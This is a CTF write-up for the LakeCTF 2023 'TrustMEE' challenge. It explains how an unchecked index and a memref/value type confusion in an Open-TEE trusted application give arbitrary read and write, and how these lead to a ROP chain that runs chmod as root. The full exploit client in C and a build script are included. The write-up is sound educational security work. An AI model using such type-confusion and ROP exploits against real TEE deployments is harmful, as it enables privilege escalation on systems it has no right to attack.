TrustMEE - LakeCTF 2023

·14 min read·2934 words
#pwn#ctf

Category: pwn

Solves: 14

Points: 453

the grades are stored securely in a trusted execution environment, maybe just learning for the course would have been easier...

Challenge

For this challenge we got a compiled shared object grade_ta.so, some C source code grade_ca.c and grade_ca.h, an opentee.conf file, an exploit template and the docker environment.

Upon connecting to the service, we were given a shell. The flag was modified with chmod 000 flag.txt, which means our goal is to gain root privileges to either read the file, or simply change its permissions, such that we can read the file afterwards.

The C files were a skeleton for communicating with the trusted execution environment and getting started with an exploit.

Lastly (apart from the docker stuff) we got a config file, which hinted to the use of Open-Tee.

Open-TEE

Open-TEE is an implementation of a "virtual" trusted execution environment complient to the GlobalPlatform TEE specification.

This is NOT OP-TEE, which I had to learn after being lost in the sauce for an hour trying to debug why my program wouldn't work after linking it against optee instead of open-tee.

Usually a trusted execution environment (or TEE in short) works as follows:

Usual TEE

Here we can see, that a client application communicates with the trusted application through the device operating system and over hard-/firmware. The TEE might live on a whole different chip on the device entirely. For example this is the case for a TPM module or some crypto co-processor.

In the case of Open-TEE there is neither a second chip, nor real hardware support, as it is a "virtual" environment.

Open-TEE

In Open-TEE we have a manager and a launcher which both run as root. The launcher is tasked with launching all the trusted applications, while the manager is tasked with handeling the communication between clients and the trusted applications. We can also see, that there is no direct link between the client application and the trusted application, meaning the manager can provide some security guarantees.

Solution

Ok we have a stub of a client application (ca from here on out), which can communicate with the trusted application (ta from here on out). What now? Well we first have to take a look at the grade_ta.so, the ta that runs on the server.

Firstly in the ta we have the same structs as defined in the grade_ca.h.

c
struct signedStudent __packed {
    char firstname[0x10];
    char lastname[0x10];
    int grade;
    int sciper;
    char signature[0x10];
};

struct signedStudentclass __packed {
    struct signedStudent sigsStudents[0x10];
};

struct student __packed {
    char firstname[0x10];
    char lastname[0x10];
    int grade;
    int sciper;
};

struct studentclass __packed {
    struct student students[0x10];
};

When looking at the ca stub we can see, that the function evoked to sign a class or student is TEEC_InvokeCommand. This lands in the TA_InvokeCommandEntryPoint in the ta, which is where the main part of the ta is located.

c
if (commandID == 1) {
    // ...
    retcode = 0;
} else if (commandID == 2) {
    // ...
    retcode = 0;
} else {
    retcode = -0xfffa;
    if (commandID == 3) {
        // ...
        retcode = 0;
    }
}
return retcode;

We can see, that we have three different commands we can issue.

Signing a student

Firstly we will take a look at the second command (just because it is the easiest of the three commands).

The client side is quite straight forward:

c
void sign_student(struct student *student, struct signedStudent *s_student) {
  // Create a struct which holds the arguments passed to the ta
  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));

  // Create shared memory for the signed student
  TEEC_SharedMemory mem;
  memset(&mem, 0, sizeof(TEEC_SharedMemory));
  mem.buffer = (void *)s_student;
  mem.size = sizeof(struct signedStudent);
  mem.flags = TEEC_MEM_OUTPUT;

  TEEC_Result tee_rv = TEEC_RegisterSharedMemory(context, &mem);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  // Create shared memory for the student
  TEEC_SharedMemory mem_student;
  memset(&mem_student, 0, sizeof(TEEC_SharedMemory));
  mem_student.buffer = (void *)student;
  mem_student.size = sizeof(struct student);
  mem_student.flags = TEEC_MEM_INPUT;

  tee_rv = TEEC_RegisterSharedMemory(context, &mem_student);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  // Prepare the parameters for the call
  operation.params[0].memref.parent = &mem_student;
  operation.params[1].memref.parent = &mem;
  operation.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_WHOLE, TEEC_VALUE_OUTPUT,
                                          TEEC_NONE, TEEC_NONE);

  tee_rv = TEEC_InvokeCommand(session, SIGN_STUDENT_CMD, &operation, NULL);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to sign a student 0x%x", tee_rv);
    exit(1);
  }
  printf("Signed student\n");
}

This function just takes an already created student struct, creates some shared memory for the TEE, sets the parameters and calls TEEC_InvokeCommand.

On the ta side it looks as follows:

c
struct student* student = *(uint64_t*)params;
struct signedStudent* signed_student = *(uint64_t*)((char*)params[1] + 0);
int64_t student_len = *(uint64_t*)((char*)params + 0x18);

if (TEE_CheckMemoryAccessRights(5, student, *(uint64_t*)((char*)params + 8)) != 0)
    goto bad_params;

if (TEE_CheckMemoryAccessRights(5, signed_student, student_len) != 0)
    goto bad_params;

TEE_MemMove(signed_student, student, 0x10);
TEE_MemMove(&signed_student->lastname, &student->lastname, 0x10);
signed_student->grade = student->grade;
signed_student->sciper = student->sciper;

int32_t retcode_3 = calculate_signature(sessionContext, signed_student);
retcode = retcode_3;
if (retcode_3 != 0)
    goto signature_calc_failed;

Here we extract the pointer to the student and the signed student from the params, check if the ta can access this memory, copy data from the student struct to the signedStudent struct and lastly calculate the signature of the student with a randomly generated GRADE_KEY.

The params object is a union which looks as follows:

c
union TEE_Param __packed {
    struct __packed {
        void* buffer;
        long unsigned int size;
    } memref;
    struct __packed {
        unsigned int a;
        unsigned int b;
    } value;
};

So it can either be a reference to memory (memref) or a value. In this case both arguments to the command are memrefs.

Signing a class

This is command number one. Signing a class is very similar to signing a single student as a class is just an array of students.

In the ta it looks as follows:

c
struct studentclass* class = *(uint64_t*)params;
struct signedStudentclass* signed_class = *(uint64_t*)((char*)params[1] + 0);
int64_t signed_class_len = *(uint64_t*)((char*)params + 0x18);

if (TEE_CheckMemoryAccessRights(5, class, *(uint64_t*)((char*)params + 8)) != 0)
    goto bad_params;

if (TEE_CheckMemoryAccessRights(5, signed_class, signed_class_len) == 0) {
    while (true) {
        TEE_MemMove(signed_class, class, 0x10);
        TEE_MemMove(&signed_class->sigsStudents[0].lastname, &class->students[0].lastname, 0x10);
        signed_class->sigsStudents[0].grade = class->students[0].grade;
        signed_class->sigsStudents[0].sciper = class->students[0].sciper;
        int32_t retcode_2 = calculate_signature(sessionContext, signed_class);
        retcode = retcode_2;

        if (retcode_2 != 0)
            break;

        signed_class = &signed_class->sigsStudents[1];
        class = &class->students[1];

        // I think the decompiler choked a bit on this one, this is actually a
        // fixed length check of the signed_class array.
        if (signed_class == &signed_class[1])
            return ((uint64_t)retcode);
    }
    goto signature_calc_failed;
}

Here we simply go through the class and sign every student. Both params are again memrefs, meaning pointers to both the studentclass and signedStudentclass struct.

Signing a specific student

The most interesting command is the third command, which lets us sign a specific student in a class by providing an index into the class. This looks as follows:

c
struct studentclass* class = *(uint64_t*)params;
struct signedStudentclass* signed_class = *(uint64_t*)((char*)params[1] + 0);
int64_t class_len = *(uint64_t*)((char*)params + 0x18);
int32_t idx = *(uint32_t*)((char*)params[2] + 0);
int32_t rax_2 = TEE_CheckMemoryAccessRights(5, class, *(uint64_t*)((char*)params + 8));
int64_t ret = 0x8e;
int32_t rax_3;

if (rax_2 == 0) {
    rax_3 = TEE_CheckMemoryAccessRights(5, signed_class, class_len);
    if (rax_3 != 0)
        ret = 0x93;
    else {
        int64_t idx = (((int64_t)idx) * 0x28);
        struct student* student_to_sign = ((char*)class + idx);
        TEE_MemMove(signed_class, student_to_sign, 0x10);
        TEE_MemMove(&signed_class->sigsStudents[0].lastname, &*(uint128_t*)((char*)class->students[0])[0x10][idx], 0x10);
        signed_class->sigsStudents[0].grade = student_to_sign->grade;
        signed_class->sigsStudents[0].sciper = student_to_sign->sciper;
        int32_t retcode_1 = calculate_signature(sessionContext, signed_class);
        retcode = retcode_1;
        if (retcode_1 != 0) {
            __syslog_chk(3, 1, "%s:%s:%d  Signature Calculation …", "../../TAs/vuln_ta/vuln_ta.c", "TA_InvokeCommandEntryPoint", r9_1);
        }
    }
}
if (((rax_2 == 0 && rax_3 != 0) || rax_2 != 0))
    __syslog_chk(3, 1, "%s:%s:%d  Bad Parameters!", "../../TAs/vuln_ta/vuln_ta.c", "TA_InvokeCommandEntryPoint", ret);

Leaking addresses

When signing a specific student we have a third parameter, idx which is of the value variant of the param union. This parameter is never checked and used as an index into the class array.

With this we have a (mostly) arbitrary read. At offset 142 we can find a pointer somewhere into ld.so memory. Since all the libraries are loaded straight one after the other we can simply calculate the libc base address by calculating the offset to the base of the ld memory and then the offset to libc. The manager also allocates a new stack for the ta, which is always placed right before libc, so we can also calculate this address as well.

Arbitrary write

We can read memory but how do we write it? For this we first have to recognize that in all commands it is just assumed that the first two parameters are pointers to memory. Then the ta will just write memory into that pointer without any real checks, meaning if we control this pointer, we control where to write (and also what, since it is simply a memcpy from the provided structs). Sadly it is not as easy as simply putting a pointer to where we want to write into the student struct, because during the invokation of the command the ca will memcpy data from that pointer to some internal structs and since we have to put a pointer from the address space of the ta in there, it is very unlikely that that pointer is also valid in the ca address space, resulting in a segfault. After reading through the source of the we found the offending function copy_tee_operation_to_internal:

c
static void copy_tee_operation_to_internal(TEEC_Operation *operation,
					   struct com_msg_operation *internal_op)
{
    // ...
	FOR_EACH_PARAM(i) {
		if (TEEC_PARAM_TYPE_GET(internal_op->paramTypes, i) == TEEC_NONE ||
		    TEEC_PARAM_TYPE_GET(internal_op->paramTypes, i) == TEEC_VALUE_OUTPUT) {
			continue;
		} else if (TEEC_PARAM_TYPE_GET(internal_op->paramTypes, i) == TEEC_VALUE_INPUT ||
			   TEEC_PARAM_TYPE_GET(internal_op->paramTypes, i) == TEEC_VALUE_INOUT) {
			memcpy(&internal_op->params[i].param.value,
			       &operation->params[i].value, sizeof(TEEC_Value));
			continue;

		}
		/* Because it is not value, parameter type is MEMREF */
        // ...
		if (internal_imp->type == REGISTERED) {
            // ...
            // This segfaults if we provide a wrong pointer as a memref
			memcpy(internal_imp->reg_address, mem_source->buffer + offset,
					internal_op->params[i].param.memref.size);
		}
        // ...
	}
}

We see that if we provide a memref, some memory is memcopied. If we provide a value instead it is simply copied into the internal_op instead and because a value has two four byte elements it is as big as the pointer in the memref variant. Since the ta never checks the variant of the enum we can provide a value which is then interpreted as a memref, creating a type confusion.

c
void sign_student_corrupt(struct student *student,
                          struct signedStudent *s_student) {
  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));

  TEEC_SharedMemory mem_student;
  memset(&mem_student, 0, sizeof(TEEC_SharedMemory));
  mem_student.buffer = (void *)student;
  mem_student.size = sizeof(struct student);
  mem_student.flags = TEEC_MEM_INPUT;

  TEEC_Result tee_rv = TEEC_RegisterSharedMemory(context, &mem_student);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  operation.params[0].memref.parent = &mem_student;
  operation.params[0].memref.size = sizeof(mem_student);
  operation.params[1].value.a = (uint64_t)(void *)s_student & 0xffffffff;
  operation.params[1].value.b = (uint64_t)(void *)s_student >> 32;
  operation.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_WHOLE, TEEC_VALUE_INPUT,
                                          TEEC_NONE, TEEC_NONE);

  tee_rv = TEEC_InvokeCommand(session, SIGN_STUDENT_CMD, &operation, NULL);
  printf("Signed student\n");
}

With this new function instead of providing a pointer to a signedStudent struct, we instead can provide a pointer into the address space of the ta, where we want to write to.

Getting a shell

Now all we have to do is rop. Sadly we can't write enough memory onto the stack in one go, so we have to do a small stack pivot before the actual ropchain. The actual ropchain works as follows:

c
uint64_t pop_rdi   = libc_base + 0x000000000002a3e5; // pop rdi; ret;
uint64_t pop_rsi   = libc_base + 0x000000000002be51; // pop rsi; ret;
uint64_t pop_rsp   = libc_base + 0x0000000000035732; // pop rsp; ret;
uint64_t chmod_ptr = libc_base + 0x000000000114440;

// Write the path to the string somewhere into memory
struct student *student = create_student("/opt/OpenTee/fla", "g.txt", 0);
sign_student_corrupt(student, (struct signedStudent *)(stack_base));

// Write the ropchain to execute `chmod("/opt/OpenTee/flag.txt", 0777);`
uint64_t ropchain[] = {pop_rdi, stack_base, pop_rsi, 0777, chmod_ptr, NULL};
student = create_student((char *)&ropchain[0], (char *)&ropchain[2],
                         ropchain[4] & 0xffffffff);
student->sciper = ropchain[4] >> 32;
sign_student_corrupt(student, (struct signedStudent *)(stack_base + 0x100));

First we write the string /opt/OpenTee/flag.txt at the lowest address of the stack. Then with some offset we write the ropchain to trigger the chmod call.

The stack pivot is also rather simple:

c
// Write the ropchain which pivots the stack to the first ropchain
uint64_t ropchain2[] = {0xdeadbeefdeadbeef, pop_rsp, stack_base + 0x100,
                        NULL};
student =
    create_student((char *)&ropchain2[0], (char *)&ropchain2[2], 0x13371337);
sign_student_corrupt(student, (struct signedStudent *)(ret));

Here we simply overwrite rip with the pop rsp gadget, which moves the stack to where we wrote the actual ropchain.

And with that we can finally access the flag :)

Successful exploit

Exploit

exploit.sh:

bash
#!/bin/bash

set -e

CONTAINER=$(sudo docker ps | tail -n 1 | cut -d' ' -f 1)

sudo docker cp ./grade_ca.c $CONTAINER:/home/ctf/
sudo docker cp ./grade_ca.h $CONTAINER:/home/ctf/
sudo docker cp ./com_protocol.h $CONTAINER:/home/ctf/
sudo docker exec -u ctf -ti $CONTAINER gcc -o grade_ca grade_ca.c -I/opt/OpenTee/include/ -L/opt/OpenTee/lib -ltee
sudo docker exec -u ctf -ti $CONTAINER patchelf --set-rpath /opt/OpenTee/lib/ ./grade_ca
sudo docker exec -u ctf -ti $CONTAINER ./grade_ca

grade_ca.c:

c
/* Exploit for the vulnerable TA */

#include "grade_ca.h"
#include "com_protocol.h"
#include "tee_client_api.h"

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>

#define SIGN_CLASS_CMD 0x1
#define SIGN_STUDENT_CMD 0x2
#define SIGN_SPECIFIC_STUDENT_CMD 0x3

static TEEC_Session *session;
static TEEC_Context *context;

uint64_t u64(char *in) { return *(uint64_t *)in; }

void init() {
  session = malloc(sizeof(TEEC_Session));
  context = malloc(sizeof(TEEC_Context));

  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));
  TEEC_UUID uuid = {0x11223344,
                    0xA710,
                    0x469E,
                    {0xAC, 0xC8, 0x5E, 0xDF, 0x8C, 0x85, 0x90, 0xE1}};
  TEEC_Result tee_rv;

  printf("Initializing context: ");
  tee_rv = TEEC_InitializeContext(NULL, context);
  if (tee_rv != TEEC_SUCCESS) {
    printf("TEEC_InitializeContext failed: 0x%x\n", tee_rv);
    exit(1);
  } else {
    printf("initialized\n");
  }

  /*
  Connect to the TA
  */
  printf("Openning session: ");
  tee_rv = TEEC_OpenSession(context, session, &uuid, TEEC_LOGIN_PUBLIC, NULL,
                            &operation, NULL);
  if (tee_rv != TEEC_SUCCESS) {
    printf("TEEC_OpenSession failed: 0x%x\n", tee_rv);
    exit(1);
  } else {
    printf("opened\n");
  }
}

struct student *create_student(char *firstname, char *lastname, int grade) {
  struct student *student = (struct student *)malloc(sizeof(struct student));
  bzero(student, sizeof(struct student));

  student->grade = grade;
  memcpy(student->firstname, firstname, NAME_LEN);
  memcpy(student->lastname, lastname, NAME_LEN);

  return student;
}

struct studentclass *create_student_class() {
  struct studentclass *class =
      (struct studentclass *)malloc(sizeof(struct studentclass));
  bzero(class, sizeof(struct studentclass));

  return class;
}

void sign_student(struct student *student, struct signedStudent *s_student) {
  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));

  TEEC_SharedMemory mem;
  memset(&mem, 0, sizeof(TEEC_SharedMemory));
  mem.buffer = (void *)s_student;
  mem.size = sizeof(struct signedStudent);
  mem.flags = TEEC_MEM_OUTPUT;

  TEEC_Result tee_rv = TEEC_RegisterSharedMemory(context, &mem);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  TEEC_SharedMemory mem_student;
  memset(&mem_student, 0, sizeof(TEEC_SharedMemory));
  mem_student.buffer = (void *)student;
  mem_student.size = sizeof(struct student);
  mem_student.flags = TEEC_MEM_INPUT;

  tee_rv = TEEC_RegisterSharedMemory(context, &mem_student);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  operation.params[0].memref.parent = &mem_student;
  operation.params[1].memref.parent = &mem;
  operation.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_WHOLE, TEEC_VALUE_OUTPUT,
                                          TEEC_NONE, TEEC_NONE);

  tee_rv = TEEC_InvokeCommand(session, SIGN_STUDENT_CMD, &operation, NULL);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to sign a student 0x%x", tee_rv);
    exit(1);
  }
  printf("Signed student\n");
}

void sign_student_corrupt(struct student *student,
                          struct signedStudent *s_student) {
  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));

  TEEC_SharedMemory mem_student;
  memset(&mem_student, 0, sizeof(TEEC_SharedMemory));
  mem_student.buffer = (void *)student;
  mem_student.size = sizeof(struct student);
  mem_student.flags = TEEC_MEM_INPUT;

  TEEC_Result tee_rv = TEEC_RegisterSharedMemory(context, &mem_student);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  operation.params[0].memref.parent = &mem_student;
  operation.params[0].memref.size = sizeof(mem_student);
  operation.params[1].value.a = (uint64_t)(void *)s_student & 0xffffffff;
  operation.params[1].value.b = (uint64_t)(void *)s_student >> 32;
  operation.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_WHOLE, TEEC_VALUE_INPUT,
                                          TEEC_NONE, TEEC_NONE);

  tee_rv = TEEC_InvokeCommand(session, SIGN_STUDENT_CMD, &operation, NULL);
  printf("Signed student\n");
}

void sign_class_corrupt(struct studentclass *class,
                        struct signedStudentclass *s_class) {
  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));

  TEEC_SharedMemory mem_class;
  memset(&mem_class, 0, sizeof(TEEC_SharedMemory));
  mem_class.buffer = (void *)class;
  mem_class.size = sizeof(struct student);
  mem_class.flags = TEEC_MEM_INPUT;

  TEEC_Result tee_rv = TEEC_RegisterSharedMemory(context, &mem_class);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  operation.params[0].memref.parent = &mem_class;
  operation.params[0].memref.size = sizeof(mem_class);
  operation.params[1].value.a = (uint64_t)(void *)s_class & 0xffffffff;
  operation.params[1].value.b = (uint64_t)(void *)s_class >> 32;
  operation.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_WHOLE, TEEC_VALUE_INPUT,
                                          TEEC_NONE, TEEC_NONE);

  tee_rv = TEEC_InvokeCommand(session, SIGN_CLASS_CMD, &operation, NULL);
  printf("Signed corrupt class\n");
}

void sign_class(struct studentclass *class,
                struct signedStudentclass *s_class) {
  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));

  TEEC_SharedMemory mem;
  memset(&mem, 0, sizeof(TEEC_SharedMemory));
  mem.buffer = (void *)s_class;
  mem.size = sizeof(struct student);
  mem.flags = TEEC_MEM_OUTPUT;

  TEEC_Result tee_rv = TEEC_RegisterSharedMemory(context, &mem);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  TEEC_SharedMemory mem_class;
  memset(&mem_class, 0, sizeof(TEEC_SharedMemory));
  mem_class.buffer = (void *)class;
  mem_class.size = sizeof(struct student);
  mem_class.flags = TEEC_MEM_INPUT;

  tee_rv = TEEC_RegisterSharedMemory(context, &mem_class);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  operation.params[0].memref.parent = &mem_class;
  operation.params[0].memref.size = sizeof(mem_class);
  operation.params[1].memref.parent = &mem;
  operation.params[1].memref.size = sizeof(mem);
  operation.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_WHOLE, TEEC_MEMREF_WHOLE,
                                          TEEC_NONE, TEEC_NONE);
  tee_rv = TEEC_InvokeCommand(session, SIGN_CLASS_CMD, &operation, NULL);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to sign a student 0x%x", tee_rv);
    exit(1);
  }
  printf("Signed class\n");
}

void sign_student_in_class(struct studentclass *class,
                           struct signedStudentclass *s_class, int idx) {
  TEEC_Operation operation;
  memset(&operation, 0, sizeof(operation));

  TEEC_SharedMemory mem;
  memset(&mem, 0, sizeof(TEEC_SharedMemory));
  mem.buffer = (void *)s_class;
  mem.size = sizeof(struct signedStudent);
  mem.flags = TEEC_MEM_OUTPUT;

  TEEC_Result tee_rv = TEEC_RegisterSharedMemory(context, &mem);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register class shared memory\n");
    exit(1);
  }

  TEEC_SharedMemory mem_class;
  memset(&mem_class, 0, sizeof(TEEC_SharedMemory));
  mem_class.buffer = (void *)class;
  mem_class.size = sizeof(struct student);
  mem_class.flags = TEEC_MEM_INPUT;

  tee_rv = TEEC_RegisterSharedMemory(context, &mem_class);
  if (tee_rv != TEEC_SUCCESS) {
    printf("Failed to register student shared memory\n");
    exit(1);
  }

  operation.params[0].memref.parent = &mem_class;
  operation.params[0].memref.size = sizeof(mem_class);
  operation.params[1].memref.parent = &mem;
  operation.params[1].memref.size = sizeof(mem);
  operation.params[2].value.a = idx;
  operation.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_WHOLE, TEEC_MEMREF_WHOLE,
                                          TEEC_VALUE_INPUT, TEEC_NONE);
  tee_rv =
      TEEC_InvokeCommand(session, SIGN_SPECIFIC_STUDENT_CMD, &operation, NULL);
}

int main() {
  init();

  // Leak ld address
  struct studentclass *class = create_student_class();
  struct signedStudentclass *s_class =
      (struct signedStudentclass *)malloc(sizeof(struct signedStudentclass));
  sign_student_in_class(class, s_class, 142);

  uint64_t libc_base =
      *(uint64_t *)s_class->sigsStudents[0].firstname - 0x25c8af;
  uint64_t stack_base = libc_base - 0x921000;
  uint64_t stack_end = stack_base + 0x800000;
  uint64_t ret = stack_end - 0x1270;

  printf("LIBC BASE @ %p\n", (void *)libc_base);
  printf("STACK BASE @ %p\n", (void *)stack_base);

  uint64_t pop_rdi = libc_base + 0x000000000002a3e5; // pop rdi; ret;
  uint64_t pop_rsi = libc_base + 0x000000000002be51; // pop rsi; ret;
  uint64_t pop_rsp = libc_base + 0x0000000000035732; // pop rsp; ret;
  uint64_t chmod_ptr = libc_base + 0x000000000114440;

  // Write the path to the string somewhere into memory
  struct student *student = create_student("/opt/OpenTee/fla", "g.txt", 0);
  sign_student_corrupt(student, (struct signedStudent *)(stack_base));

  // Write the ropchain to execute `chmod("/opt/OpenTee/flag.txt", 0777);`
  uint64_t ropchain[] = {pop_rdi, stack_base, pop_rsi, 0777, chmod_ptr, NULL};
  student = create_student((char *)&ropchain[0], (char *)&ropchain[2],
                           ropchain[4] & 0xffffffff);
  student->sciper = ropchain[4] >> 32;
  sign_student_corrupt(student, (struct signedStudent *)(stack_base + 0x100));

  // Write the ropchain which pivots the stack to the first ropchain
  uint64_t ropchain2[] = {0xdeadbeefdeadbeef, pop_rsp, stack_base + 0x100,
                          NULL};
  student =
      create_student((char *)&ropchain2[0], (char *)&ropchain2[2], 0x13371337);
  sign_student_corrupt(student, (struct signedStudent *)(ret));

  // flag: EPFL{ju5t_4_h4PPY_L1ttL3_Typ3_c0nfu510n_8u9}
}